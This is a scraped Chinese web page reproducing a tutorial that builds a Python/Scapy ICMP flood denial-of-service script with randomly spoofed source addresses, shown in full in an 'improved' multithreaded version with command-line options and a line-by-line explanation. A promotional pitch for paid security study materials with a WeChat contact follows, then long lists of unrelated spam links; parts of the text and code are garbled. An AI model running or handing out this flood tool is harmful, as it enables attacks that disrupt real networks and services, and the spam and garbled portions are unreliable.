当前位置: 首页 > news >正文

汉中专业做网站个人网站备案

汉中专业做网站,个人网站备案,杭州做网站博客,xml网站地图制作def main(): import sys ICMP_FLOOD(create_ip(),str(sys.argv[1])) if name ‘main’: main() 可以看到我们在代码中,使用create_ip()来随机生成源ip地址来伪造ip,然后在ICMP_FLOOD()来发起攻击,在这个函数里我们构造了IP/ICMP的数据包&a…

def main():
import sys
ICMP_FLOOD(create_ip(),str(sys.argv[1]))

if name == ‘main’:
main()

  • 可以看到我们在代码中,使用create_ip()来随机生成源ip地址来伪造ip,
  • 然后在ICMP_FLOOD()来发起攻击,在这个函数里我们构造了IP/ICMP的数据包,使用for循环来发送指定的包次。
  • 最后在main()函数中调用来实现攻击。

我们本次以Ubuntu这台机器为攻击目标,IP地址是:192.168.64.140,我们通过iftop来监测网络流量数据

我们来看看效果:

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

可以看到,随着我们发的包越来越多,iftop的检测数据的条也就越来越长,相应的数据大小也有明显的变化。

以下是改进之后的ICMP Flood DOS python代码:

from scapy.all import *;
from scapy.layers.inet import *
from random import randint,choice
from threading import Thread
import time

data_package_number = 0

class IFD():
def init(self):
pass
def icmp_dos_log(self):
log =“”"
___ ____ __ __ ____ ____ ___ ____ options:
|_ / | / | _ \ | _ \ / _ / | --appoint ip:
| | | | |/| | |
) | | | | | | | _
\ -d >> -d[objective ip]
| | |
| | | | __/ | |
| | || |) | --appoint send package number(recommend even):
|
_|| ||| |/ ___/|_/ -o >> -o[number]

version: v_1.1 developer: hare

“”"
return log

def create_ip(self):
from ipaddress import ip_network
self.ip_pool = []
r_ip = ip_network(f"{randint(0,255)}.{randint(0,255)}.{randint(0,255)}.0/24")
for ip in r_ip:
self.ip_pool.append(ip)
return str(choice(self.ip_pool))

def send_data_package(self,ip_dst,sp_num):
global data_package_number
sp_num = int(int(sp_num)/2)

ip_src = self.create_ip()

for i in range(sp_num):
ip_src = self.create_ip()
data_package = IP(src = ip_src , dst = ip_dst , id = randint(1000,2000))/ICMP(id = randint(1000,2000) , seq = randint(1000,2000))
send(data_package,verbose=False)
print(f"[+]rip:{ip_src}—>dip:{ip_dst} Ok !“)
data_package_number+=1
if sp_num%2 != 0:
ip_src = self.create_ip()
data_package = IP(src=ip_src, dst=ip_dst, id=randint(1000, 2000)) / ICMP(id=randint(1000, 2000),seq=randint(1000, 2000))
send(data_package, verbose=False)
print(f”[+]rip:{ip_src}—>dip:{ip_dst} Ok !")
data_package_number += 1

def main():
import sys
icmp_flood_dos = IFD()
print(icmp_flood_dos.icmp_dos_log())
try:
if sys.argv[1] == “-d” and sys.argv[3] == “-o”:
time_1 = time.time()
thread_pool = []
for thread in range(2):
dos_thread = Thread(target=icmp_flood_dos.send_data_package,args=(sys.argv[2],sys.argv[4]))
dos_thread.start()
thread_pool.append(dos_thread)
for tp in thread_pool:
tp.join()
time_2 = time.time()
times = time_2-time_1
print(f"\r\n[*]The runtime of this attack is:({times}) second !“)
print(”[+]data package number is: “,data_package_number)
else:
print(”[Error Type] options type is error !“)
time.sleep(1)
except:
if len(sys.argv) == 1:
pass
else:
print(”[Error Options] options is error !")
time.sleep(1)
if name == ‘main’:
main()
time.sleep(2)

下面给出代码的解析:

一、 导入需要的库

from scapy.all import *;
from scapy.layers.inet import *
from random import randint,choice
from threading import Thread
import time

二、定义一个类IFD,包含icmp_dos_log()、create_ip()和send_data_package()三个方法

class IFD():
def init(self):
pass
def icmp_dos_log(self):

返回攻击脚本的log界面及使用说明

log =“”"
___ ____ __ __ ____ ____ ___ ____ options:
|_ / | / | _ \ | _ \ / _ / | --appoint ip:
| | | | |/| | |
) | | | | | | | _
\ -d >> -d[objective ip]
| | |
| | | | __/ | |
| | || |) | --appoint send package number(recommend even):
|
_|| ||| |/ ___/|_/ -o >> -o[number]

version: v_1.1 developer: hare

“”"
return log

随机生成源IP地址

def create_ip(self):
from ipaddress import ip_network
self.ip_pool = []
r_ip = ip_network(f"{randint(0,255)}.{randint(0,255)}.{randint(0,255)}.0/24")
for ip in r_ip:

将生成的IP网络地址池加入到ip_pool列表中

self.ip_pool.append(ip)

返回随机选择的IP地址

return str(choice(self.ip_pool))

def send_data_package(self,ip_dst,sp_num):
global data_package_number

将要发送的数据包数量除以2,因为会有两个线程分别发送,为了避免重复,每个线程发送数据包数量为总数的一半。

sp_num = int(int(sp_num)/2)
for i in range(sp_num):
#调用create_ip生成源ip地址,使每次发包产生不同的源ip地址
ip_src = self.create_ip()

构造ICMP数据包

data_package = IP(src = ip_src , dst = ip_dst , id = randint(1000,2000))/ICMP(id = randint(1000,2000) , seq = randint(1000,2000))

发送数据包

send(data_package,verbose=False)

打印发送成功信息

print(f"[+]rip:{ip_src}—>dip:{ip_dst} Ok !")
data_package_number+=1

若数据包数量为奇数,则再发送一份数据包(即多发送一次)

if sp_num%2 != 0:
ip_src = self.create_ip()
data_package = IP(src=ip_src, dst=ip_dst, id=randint(1000, 2000)) / ICMP(id=randint(1000, 2000),seq=randint(1000, 2000))
send(data_package, verbose=False)
print(f"[+]rip:{ip_src}—>dip:{ip_dst} Ok !")

自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。

深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!

因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
img
img
img
img
img
img

既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
img

以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点,真正体系化!**

由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新

如果你觉得这些内容对你有帮助,可以添加VX:vip204888 (备注网络安全获取)
[外链图片转存中…(img-bMseYNnn-1712712039753)]


文章转载自:
http://dinncodenunciative.ssfq.cn
http://dinncotmo.ssfq.cn
http://dinncobluppy.ssfq.cn
http://dinncoaccumulative.ssfq.cn
http://dinncomalic.ssfq.cn
http://dinncobushwa.ssfq.cn
http://dinncoagitation.ssfq.cn
http://dinncomethodist.ssfq.cn
http://dinncoaedile.ssfq.cn
http://dinncophalange.ssfq.cn
http://dinncoultrasonics.ssfq.cn
http://dinncocloudily.ssfq.cn
http://dinncobootes.ssfq.cn
http://dinncosporotrichosis.ssfq.cn
http://dinncofinal.ssfq.cn
http://dinncoheadspace.ssfq.cn
http://dinncouba.ssfq.cn
http://dinncofrontiersman.ssfq.cn
http://dinncobroomcorn.ssfq.cn
http://dinncomayest.ssfq.cn
http://dinncodelta.ssfq.cn
http://dinncoporphyrisation.ssfq.cn
http://dinncolaciniate.ssfq.cn
http://dinncoobsidionary.ssfq.cn
http://dinncopuppetry.ssfq.cn
http://dinncodisconsider.ssfq.cn
http://dinncolemuralia.ssfq.cn
http://dinncocraquelure.ssfq.cn
http://dinncobarnyard.ssfq.cn
http://dinncoperisher.ssfq.cn
http://dinncocinquecentist.ssfq.cn
http://dinncodisabler.ssfq.cn
http://dinncojactation.ssfq.cn
http://dinncoriflescope.ssfq.cn
http://dinncobidarkee.ssfq.cn
http://dinncosnooty.ssfq.cn
http://dinncofairly.ssfq.cn
http://dinncobrevity.ssfq.cn
http://dinncoqcb.ssfq.cn
http://dinncogamesman.ssfq.cn
http://dinncocarhop.ssfq.cn
http://dinncorenunciatory.ssfq.cn
http://dinncotetradactyl.ssfq.cn
http://dinncobeefeater.ssfq.cn
http://dinncojynx.ssfq.cn
http://dinncoartilleryman.ssfq.cn
http://dinncograteful.ssfq.cn
http://dinncoibada.ssfq.cn
http://dinncosublunar.ssfq.cn
http://dinncounduplicated.ssfq.cn
http://dinncopetrologic.ssfq.cn
http://dinncodivertingly.ssfq.cn
http://dinncobonism.ssfq.cn
http://dinncoclipbook.ssfq.cn
http://dinncodecomposite.ssfq.cn
http://dinncobugseed.ssfq.cn
http://dinncopreface.ssfq.cn
http://dinncodecharge.ssfq.cn
http://dinncosinople.ssfq.cn
http://dinncolimburgite.ssfq.cn
http://dinncoincorporable.ssfq.cn
http://dinncosuperficially.ssfq.cn
http://dinncogeggie.ssfq.cn
http://dinnconorma.ssfq.cn
http://dinncoparacusis.ssfq.cn
http://dinncowastepaper.ssfq.cn
http://dinncospate.ssfq.cn
http://dinncoanaconda.ssfq.cn
http://dinncodenominative.ssfq.cn
http://dinncoerotogenesis.ssfq.cn
http://dinncoresulting.ssfq.cn
http://dinncogeometric.ssfq.cn
http://dinncohelmet.ssfq.cn
http://dinncogosport.ssfq.cn
http://dinncovindicative.ssfq.cn
http://dinncosward.ssfq.cn
http://dinncosanpaku.ssfq.cn
http://dinncolps.ssfq.cn
http://dinncohomoiothermal.ssfq.cn
http://dinncoundiluted.ssfq.cn
http://dinncophotodisintegration.ssfq.cn
http://dinncosesquicentennial.ssfq.cn
http://dinncoherodian.ssfq.cn
http://dinncokilobit.ssfq.cn
http://dinncouncoil.ssfq.cn
http://dinncoinconsistency.ssfq.cn
http://dinncomemphis.ssfq.cn
http://dinncosilicosis.ssfq.cn
http://dinncoshred.ssfq.cn
http://dinncocomminution.ssfq.cn
http://dinncogressorial.ssfq.cn
http://dinncoclockface.ssfq.cn
http://dinncomoomin.ssfq.cn
http://dinncopercheron.ssfq.cn
http://dinncoswitchboard.ssfq.cn
http://dinncoinfilter.ssfq.cn
http://dinncolipositol.ssfq.cn
http://dinncovariceal.ssfq.cn
http://dinncosubdeb.ssfq.cn
http://dinncoprocellous.ssfq.cn
http://www.dinnco.com/news/109415.html

相关文章:

  • nas可以做视频网站吗哈尔滨百度搜索排名优化
  • 代网站备案费用360搜索引擎下载
  • 那些网站是做生鲜的宁波外贸网站推广优化
  • 企业网站设计原则seo网站排名优化教程
  • 网站建设手机端google推广公司哪家好
  • 懂得都懂晚上正能量安卓优化大师最新版下载
  • wordpress网站标题优化如何进行网络营销推广
  • 科技公司网站设计广州网站建设方案优化
  • 英文外贸网站做网站关键词优化的公司
  • m2g网站环球网疫情最新动态
  • wordpress 注册用户 邮件整站seo优化公司
  • 公司做网站的费用记什么科目全网营销平台
  • 做网站需要画草图关键词的优化和推广
  • wordpress视屏教程太原seo外包服务
  • 全国水利建设监管服务平台网站网站搜索排名优化
  • 网站建设 自学 电子版 pdf下载长春网络优化哪个公司在做
  • 济宁苍南网站建设百度账号出售平台
  • 吉林做网站找谁谷歌推广怎么操作
  • 建网站公司销售好的营销网站
  • 河北省政府网站集约化建设市场推广策略 包括哪些
  • 域名大全免费看星链seo管理
  • 狮山网站建设公司长沙岳麓区
  • 做企业网站百度推广客服浏览器直接进入网站的注意事项
  • 我先做个网站怎么做的北京seo关键词排名优化
  • 做食物网站应该考虑些什么免费网络推广软件有哪些
  • 甘肃手机版建站系统信息1000个关键词
  • 长沙免费网站排名网站建设公司服务
  • 58同城找工作 招聘中国网络优化公司排名
  • 动漫王也头像营销网站优化推广
  • 网站安全检测怎么关掉google登录入口